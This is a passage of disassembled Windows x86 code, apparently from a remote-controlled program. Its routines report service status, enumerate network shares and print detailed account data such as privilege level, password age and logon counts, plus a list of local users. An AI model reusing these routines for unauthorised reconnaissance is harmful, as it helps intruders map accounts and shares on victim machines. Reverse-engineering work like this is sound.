loc_418A0B:				; CODE XREF: sub_41895B+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A12:				; CODE XREF: sub_41895B+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A19:				; CODE XREF: sub_41895B+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A20:				; CODE XREF: sub_41895B+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_418A2C
; ---------------------------------------------------------------------------


loc_418A27:				; CODE XREF: sub_41895B+87j
		push	offset aStopped	; "    Stopped"


loc_418A2C:				; CODE XREF: sub_41895B+A0j
					; sub_41895B+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_4189DE


loc_418A78:				; CODE XREF: sub_41895B+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_418993


loc_418A81:				; CODE XREF: sub_41895B+6Cj
		push	[ebp+var_C]
		call	dword_4CB52C	; CloseServiceHandle
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_41895B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418A98	proc near		; CODE XREF: sub_401ACD:loc_406166p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_418B32
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_418AC1
		dec	eax
		jnz	short loc_418B12
		push	edi
		push	0
		call	sub_418C6B
		pop	ecx
		pop	ecx
		jmp	short loc_418B0E
; ---------------------------------------------------------------------------


loc_418AC1:				; CODE XREF: sub_418A98+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_418B00
		push	24h
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_418B00
		push	57h
		pop	eax


loc_418AD8:				; CODE XREF: sub_418A98+78j
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB2AC
		push	off_439068[eax*4]
		push	offset unk_439714
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------


loc_418B00:				; CODE XREF: sub_418A98+2Dj
					; sub_418A98+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_418BBF
		add	esp, 0Ch


loc_418B0E:				; CODE XREF: sub_418A98+27j
		test	eax, eax
		jnz	short loc_418AD8


loc_418B12:				; CODE XREF: sub_418A98+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_4DB2AC
		push	off_43906C[eax*4]
		push	offset dword_4396F8
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418B52
; ---------------------------------------------------------------------------


loc_418B32:				; CODE XREF: sub_418A98+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB2AC
		lea	eax, [eax+eax*2]
		push	off_439068[eax*4]
		push	offset unk_4396D4
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418B52:				; CODE XREF: sub_418A98+66j
					; sub_418A98+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418A98	endp


; =============== S U B	R O U T	I N E =======================================



sub_418B58	proc near		; CODE XREF: sub_419E79+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_418B65
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418B65:				; CODE XREF: sub_418B58+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, dword_42717C
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	byte_4DB4AC, 1
		mov	ebp, eax
		jnz	short loc_418BA2
		or	byte_4DB4AC, 1
		lea	eax, [ebp+1]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	dword_4DB24C, eax


loc_418BA2:				; CODE XREF: sub_418B58+32j
		push	esi
		push	esi
		push	ebp
		push	dword_4DB24C
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, dword_4DB24C
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_418B58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418BBF	proc near		; CODE XREF: sub_418A98+6Ep
					; sub_41A19D+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_41BFB0
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_418C2A
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	dword_4CB528
		pop	edi
		leave
		retn
sub_418BBF	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C2A	proc near		; CODE XREF: sub_418BBF+Ap
					; sub_418BBF+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_418C37
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418C37:				; CODE XREF: sub_418C2A+9j
		push	ebx
		push	esi
		mov	esi, dword_427180
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418C2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_418C6B	proc near		; CODE XREF: sub_418A98+20p
					; sub_419E79+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	0
		push	eax
		push	esi
		call	dword_4CB500
		pop	esi
		retn
sub_418C6B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C8E	proc near		; CODE XREF: sub_401ACD+46B0p

var_210		= byte ptr -210h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_C]
		call	sub_418C2A
		xor	esi, esi
		mov	[ebp+var_C], eax
		push	esi
		mov	[ebp+arg_C], esi
		push	[ebp+arg_8]
		mov	[ebp+var_8], esi
		mov	[ebp+var_10], esi
		push	offset aShareNameResou ; "Share	name:	 Resource:		 "...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h


loc_418CC7:				; CODE XREF: sub_418C8E+10Fj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	[ebp+var_C]
		call	dword_4CB578
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_418D2A
		cmp	ebx, 0EAh
		jz	short loc_418D2A
		push	ebx
		push	ebx
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	offset unk_439760
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_418D97
; ---------------------------------------------------------------------------


loc_418D2A:				; CODE XREF: sub_418C8E+5Dj
					; sub_418C8E+65j
		push	1
		pop	edi
		cmp	[ebp+arg_C], edi
		jb	short loc_418D8E
		mov	eax, [ebp+var_4]
		lea	esi, [eax+14h]


loc_418D38:				; CODE XREF: sub_418C8E+FCj
		push	dword ptr [esi+10h]
		call	dword_4CB51C	; IsValidSecurityDescriptor
		test	eax, eax
		mov	eax, offset aYes ; "Yes"
		jnz	short loc_418D4F
		mov	eax, offset aNo	; "No"


loc_418D4F:				; CODE XREF: sub_418C8E+BAj
		push	eax
		lea	eax, [ebp+var_210]
		push	dword ptr [esi]
		push	dword ptr [esi+4]
		push	dword ptr [esi-14h]
		push	offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_210]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 2Ch
		add	esi, 28h
		inc	edi
		cmp	edi, [ebp+arg_C]
		jbe	short loc_418D38
		xor	esi, esi


loc_418D8E:				; CODE XREF: sub_418C8E+A2j
		push	[ebp+var_4]
		call	dword_4CB6C4


loc_418D97:				; CODE XREF: sub_418C8E+9Aj
		cmp	ebx, 0EAh
		jz	loc_418CC7
		xor	eax, eax
		cmp	ebx, esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_418C8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418DAF	proc near		; CODE XREF: sub_401ACD:loc_4061EEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		jz	loc_418E54
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, edi
		jz	short loc_418DF1
		dec	eax
		jz	short loc_418DE6
		dec	eax
		jnz	short loc_418E0C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	ebx
		push	edi
		call	sub_418EF6
		add	esp, 14h
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418DE6:				; CODE XREF: sub_418DAF+1Dj
		push	ebx
		push	edi
		call	sub_418ED5
		pop	ecx
		pop	ecx
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418DF1:				; CODE XREF: sub_418DAF+1Aj
		cmp	[ebp+arg_8], edi
		jz	short loc_418E05
		push	[ebp+arg_8]
		push	ebx
		push	edi
		call	sub_418E7B
		add	esp, 0Ch
		jmp	short loc_418E08
; ---------------------------------------------------------------------------


loc_418E05:				; CODE XREF: sub_418DAF+45j
		push	57h
		pop	eax


loc_418E08:				; CODE XREF: sub_418DAF+35j
					; sub_418DAF+40j ...
		cmp	eax, edi
		jnz	short loc_418E2C


loc_418E0C:				; CODE XREF: sub_418DAF+20j
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB4B0
		push	off_43906C[eax*4]
		push	offset unk_439818
		push	esi
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------


loc_418E2C:				; CODE XREF: sub_418DAF+5Bj
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	ebx
		mov	esi, offset dword_4DB4B0
		push	off_439068[eax*4]
		push	offset unk_4397E8
		push	esi
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_418E74
; ---------------------------------------------------------------------------


loc_418E54:				; CODE XREF: sub_418DAF+Dj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_4DB4B0
		lea	eax, [eax+eax*2]
		push	off_439068[eax*4]
		push	offset unk_4397C0
		push	esi
		call	sub_41B886
		add	esp, 0Ch


loc_418E74:				; CODE XREF: sub_418DAF+7Bj
					; sub_418DAF+A3j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_418DAF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418E7B	proc near		; CODE XREF: sub_418DAF+4Cp

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		and	[ebp+var_4], 0
		push	edi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_418C2A
		push	[ebp+arg_8]
		mov	[ebp+var_24], eax
		call	sub_418C2A
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		and	[ebp+var_14], 0
		and	[ebp+var_10], 0
		push	1
		and	[ebp+var_8], 0
		pop	eax
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	ecx, [ebp+var_24]
		push	ecx
		push	eax
		push	edi
		mov	[ebp+var_18], eax
		mov	[ebp+var_C], 10001h
		call	dword_4CB50C
		pop	edi
		leave
		retn
sub_418E7B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418ED5	proc near		; CODE XREF: sub_418DAF+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_418C2A
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	dword_4CB4FC
		pop	esi
		retn
sub_418ED5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418EF6	proc near		; CODE XREF: sub_418DAF+2Dp

var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		and	[ebp+var_4], 0
		push	esi
		push	[ebp+arg_0]
		call	sub_418C2A
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_418C2A
		pop	ecx
		pop	ecx
		lea	ecx, [ebp+var_4]
		push	ecx
		push	0Bh
		push	eax
		push	esi
		call	dword_4CB68C
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41929E
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4192D9
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_419015
		dec	eax
		jz	short loc_41900E
		dec	eax
		jz	short loc_419007
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------


loc_419007:				; CODE XREF: sub_418EF6+108j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------


loc_41900E:				; CODE XREF: sub_418EF6+105j
		mov	eax, offset aUser_2 ; "User"
		jmp	short loc_41901A
; ---------------------------------------------------------------------------


loc_419015:				; CODE XREF: sub_418EF6+102j
		mov	eax, offset aGuest ; "Guest"


loc_41901A:				; CODE XREF: sub_418EF6+10Fj
					; sub_418EF6+116j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41B886
		push	1
		push	esi
		lea	eax, [ebp+var_204]
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		mov	eax, [ebp+var_4]
		add	esp, 20h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409A72
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4192CA
; ---------------------------------------------------------------------------


loc_41929E:				; CODE XREF: sub_418EF6+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_439838
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409A72
		add	esp, 20h


loc_4192CA:				; CODE XREF: sub_418EF6+3A6j
		cmp	[ebp+var_4], 0
		jz	short loc_4192D9
		push	[ebp+var_4]
		call	dword_4CB6C4


loc_4192D9:				; CODE XREF: sub_418EF6+40j
					; sub_418EF6+3D8j
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_418EF6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4192DF	proc near		; CODE XREF: sub_401ACD+473Bp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_418C2A
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 18h


loc_41931E:				; CODE XREF: sub_4192DF+135j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CB594
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_41937F
		cmp	eax, 0EAh
		jz	short loc_41937F
		push	eax
		push	eax
		call	sub_41945F
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_439A28
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------


loc_41937F:				; CODE XREF: sub_4192DF+62j
					; sub_4192DF+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	loc_41940D
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_4193FA


loc_419391:				; CODE XREF: sub_4192DF+EDj
		cmp	edi, esi
		jz	short loc_4193D0
		push	dword ptr [edi]
		lea	eax, [ebp+var_218]
		push	offset aS_6	; "  %S"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_419391
		jmp	short loc_4193FA
; ---------------------------------------------------------------------------


loc_4193D0:				; CODE XREF: sub_4192DF+B4j
		lea	eax, [ebp+var_218]
		push	offset unk_4399F4
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 1Ch


loc_4193FA:				; CODE XREF: sub_4192DF+9Ej
					; sub_4192DF+B0j ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41940D
		push	edi
		call	dword_4CB6C4
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_41940D:				; CODE XREF: sub_4192DF+A5j
					; sub_4192DF+120j
		cmp	[ebp+var_C], 0EAh
		jz	loc_41931E
		cmp	edi, esi
		jz	short loc_419425
		push	edi
		call	dword_4CB6C4


loc_419425:				; CODE XREF: sub_4192DF+13Dj
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4192DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41945F	proc near		; CODE XREF: sub_418A98+41p
					; sub_418C8E+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_419511
		jz	loc_41950A
		cmp	eax, 7Bh
		ja	short loc_4194D6
		jz	short loc_4194CC
		cmp	eax, 5
		jz	short loc_4194C2
		cmp	eax, 8
		jz	short loc_4194B8
		cmp	eax, 32h
		jz	short loc_4194AE
		cmp	eax, 35h
		jz	short loc_4194A4
		cmp	eax, 57h
		jnz	loc_419560
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194A4:				; CODE XREF: sub_41945F+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194AE:				; CODE XREF: sub_41945F+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194B8:				; CODE XREF: sub_41945F+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194C2:				; CODE XREF: sub_41945F+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194CC:				; CODE XREF: sub_41945F+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419581
; ---------------------------------------------------------------------------


loc_4194D6:				; CODE XREF: sub_41945F+1Aj
		sub	eax, 7Ch
		jz	short loc_419503
		sub	eax, 7C8h
		jz	short loc_4194FC
		dec	eax
